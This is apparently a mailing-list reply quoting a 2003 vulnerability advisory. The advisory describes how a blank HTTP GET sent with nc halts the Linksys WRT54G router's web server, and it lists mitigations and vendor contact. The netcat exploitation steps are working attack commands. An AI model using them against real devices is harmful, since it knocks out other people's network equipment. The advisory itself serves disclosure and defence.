despite being very similar, my WAP54G *isn't* vulnerable :) (*Firmware: v1.08, Aug 05, 2003)* * *Michael Renzmann wrote:
Can anyone confirm if technically identical devices such as the Buffalo WBR-G54 share this vulnerability?

Linksys WRT54G Denial of Service Vulnerability
System(s)
===========
Tested on Linksys WRT54G v1.0 (firmware v 1.42.3)
Detail(s)
===========
Sending a blank GET request to the router on port 80 (or 8080) halts the embedded webserver. This may allow an attacker to force the owner to reboot the router, allowing them to gain sensitive information during router authentication.
Exploitation
============
[EMAIL PROTECTED]:~$ nc 10.0.0.1 80
GET
[EMAIL PROTECTED]:~$ nc 10.0.0.1 80
(UNKNOWN) [10.0.0.1] 80 (http) : Connection refused
[EMAIL PROTECTED]:~$
Solution(s)
============
- Https service should continue running for remote access.
- Scan for sniffers that might be on the network before rebooting and performing any authentication.
- Wait for a vendor patch :)
Status
============
Vendor contacted on 12/03/03.
!HAPPY HOLIDAYS!
